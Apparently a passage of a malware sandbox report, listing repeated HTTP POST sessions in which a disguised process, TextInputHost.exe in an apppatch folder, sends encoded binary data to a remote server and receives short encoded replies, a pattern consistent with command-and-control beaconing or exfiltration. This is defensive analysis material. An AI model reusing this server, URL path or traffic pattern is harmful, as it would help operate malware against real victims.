Apr 2, 2024 23:43:20.874465942 CEST	2552	OUT	Data Raw: 5f 51 5d 55 55 49 54 5a 5d 5c 52 54 56 56 50 57 59 5a 5f 5c 52 5a 57 5a 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _Q]UUITZ]\RTVVPWYZ_\RZWZP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'.%"95)&))<[-'_"(05](:4"(3>9Y /P,$
Apr 2, 2024 23:43:21.160856009 CEST	151	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49801	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:21.584095001 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:21.865986109 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:21.866152048 CEST	2552	OUT	Data Raw: 5f 5d 5d 54 55 40 51 59 5d 5c 52 54 56 50 50 57 59 5a 5f 5a 52 5c 57 50 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _]]TU@QY]\RTVPPWYZ_ZR\WPP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___$-=* #Y515_$)=$-"*V?<;#()9Y /P,<
Apr 2, 2024 23:43:22.154520988 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49802	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:22.568556070 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:22.853460073 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:22.853653908 CEST	2552	OUT	Data Raw: 5f 5b 58 54 50 44 54 5d 5d 5c 52 54 56 56 50 57 59 56 5f 56 52 52 57 51 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _[XTPDT]]\RTVVPWYV_VRRWQP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___$965#:61-^3)/_=<Y9;"8.P+6+@4^(=9Y /P,$
Apr 2, 2024 23:43:23.146673918 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49803	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:23.560168028 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:23.848437071 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:23.851438046 CEST	2552	OUT	Data Raw: 5f 58 5d 5d 55 47 51 5e 5d 5c 52 54 56 50 50 51 59 52 5f 57 52 5f 57 5e 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _X]]UGQ^]\RTVPPQYR_WR_W^P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___$.[!"3"]"5]0??+8^. ?^"Q<3)Y*:#783)-9Y /P,<
Apr 2, 2024 23:43:24.143332958 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49804	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:25.169270039 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:25.453236103 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:25.458945036 CEST	203	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49805	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:25.811278105 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 1852 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:26.094870090 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:26.095282078 CEST	1852	OUT	Data Raw: 5f 51 58 50 55 46 51 5d 5d 5c 52 54 56 55 50 50 59 53 5f 5d 52 58 57 5a 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _QXPUFQ]]\RTVUPPYS_]RXWZP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___$.-&!.5&$_?>'.#Y685+=]*:"8X>=9Y /P,<
Apr 2, 2024 23:43:26.385675907 CEST	380	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:25 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 09 10 24 08 28 1b 33 10 34 3b 28 57 2b 08 31 0c 27 09 2e 07 3b 2e 03 58 2b 29 34 00 2d 05 2f 02 36 16 37 14 2b 33 3a 04 25 00 02 13 27 1d 2b 59 01 13 26 07 3c 3c 30 57 25 0c 2f 1e 31 28 03 02 24 34 3b 42 29 15 2b 0e 24 3d 35 54 3f 23 2f 03 2b 55 21 19 28 2a 3c 07 2f 12 32 05 36 34 2a 5e 0c 17 22 53 28 2a 2b 1b 26 09 01 04 3d 0c 0d 12 3c 36 33 05 3e 17 09 1d 26 3c 1b 59 3d 2c 27 0f 26 03 29 1e 3d 04 2d 55 23 32 0e 0e 3e 28 27 5d 20 01 20 57 01 3e 56 4d Data Ascii: $(34;(W+1'.;.X+)4-/67+3:%'+Y&<<0W%/1($4;B)+$=5T?#/+U!(</264^"S(*+&=<63>&<Y=,'&)=-U#2>('] W>VM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49806	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:26.237119913 CEST	480	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue
Apr 2, 2024 23:43:26.519954920 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:26.520203114 CEST	2552	OUT	Data Raw: 5f 50 5d 56 55 45 54 5b 5d 5c 52 54 56 53 50 51 59 52 5f 5b 52 58 57 59 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _P]VUET[]\RTVSPQYR_[RXWYP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'Y-!"[525Y$)#+ Z.,5;&<#9](48\*9Y /P,0
Apr 2, 2024 23:43:26.808803082 CEST	151	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49807	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:27.221220016 CEST	480	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue
Apr 2, 2024 23:43:27.504255056 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:27.504476070 CEST	2552	OUT	Data Raw: 5f 59 5d 57 50 42 51 5c 5d 5c 52 54 56 5d 50 51 59 54 5f 5f 52 59 57 5e 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _Y]WPBQ\]\RTV]PQYT__RYW^P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___$,="!"2=0_,>8Y-("8&T) <:8#)9Y /P,
Apr 2, 2024 23:43:27.794605017 CEST	151	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49808	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:28.203330040 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:28.481580019 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:28.481760979 CEST	2552	OUT	Data Raw: 5f 5c 5d 50 50 47 51 58 5d 5c 52 54 56 51 50 53 59 55 5f 5c 52 59 57 50 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _\]PPGQX]\RTVQPSYU_\RYWPP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___$-65#Y")0 );?-#/!+&U?0=X()44^#)9Y /P,8
Apr 2, 2024 23:43:28.765810966 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49809	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:29.170478106 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2548 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:29.448714018 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:29.448930979 CEST	2548	OUT	Data Raw: 5a 5d 5d 57 55 46 51 59 5d 5c 52 54 56 55 50 50 59 51 5f 58 52 5f 57 5a 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: Z]]WUFQY]\RTVUPPYQ_XR_WZP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'-X!2]5W>',=8 X-;!8.(.*)4@ ==9Y /P,<
Apr 2, 2024 23:43:29.732240915 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49810	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:30.142728090 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:30.422627926 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:30.422863007 CEST	2552	OUT	Data Raw: 5f 5f 5d 55 55 43 51 59 5d 5c 52 54 56 50 50 54 59 5b 5f 5f 52 5f 57 5c 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: __]UUCQY]\RTVPPTY[__R_W\P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'X.-* 3X#1>'<*8$^,3'^69<%X<8@#;$)-9Y /P,<
Apr 2, 2024 23:43:30.710150003 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49811	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:31.109873056 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:31.388744116 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:31.388919115 CEST	2552	OUT	Data Raw: 5a 5b 5d 55 55 48 51 5f 5d 5c 52 54 56 51 50 52 59 57 5f 5f 52 53 57 5c 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: Z[]UUHQ_]\RTVQPRYW__RSW\P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'_:=69"0?>+790<#8>(5<\'#8;==9Y /P,8
Apr 2, 2024 23:43:31.673336029 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	49812	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:31.677007914 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 1868 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:31.958110094 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:31.958326101 CEST	1868	OUT	Data Raw: 5a 5f 58 50 55 49 51 5c 5d 5c 52 54 56 54 50 54 59 54 5f 5c 52 53 57 58 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: Z_XPUIQ\]\RTVTPTYT_\RSWXP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___']9>531513)Y>(?-76:W?<\; +$\>=9Y /P,,
Apr 2, 2024 23:43:32.246354103 CEST	380	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:31 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 09 10 27 55 3f 43 34 03 34 06 37 0e 3f 31 2d 0d 27 19 22 06 38 00 2e 05 28 5f 3c 05 2f 28 33 07 22 28 30 07 28 0a 3e 00 25 3d 3f 00 30 0d 2b 59 01 13 26 07 3d 2c 3b 0e 25 0c 2b 56 24 3b 3a 5c 33 0e 30 1a 2a 38 33 0d 33 2d 3a 0e 2b 33 34 1f 3c 0a 3d 56 29 07 3c 07 38 3f 2e 05 36 0e 2a 5e 0c 17 21 0c 2b 5f 37 5e 26 51 34 11 29 22 24 00 2b 08 09 02 3d 39 06 0f 31 02 31 5d 29 11 30 11 31 3e 21 1f 2b 3e 2d 56 21 32 0d 56 29 12 27 5d 20 01 20 57 01 3e 56 4d Data Ascii: 'U?C447?1-'"8.(_</(3"(0(>%=?0+Y&=,;%+V$;:\30833-:+34<=V)<8?.6^!+_7^&Q4)"$+=911])01>!+>-V!2V)'] W>VM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	49813	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:31.793463945 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:32.073386908 CEST	25	IN	HTTP/1.1 100 Continue
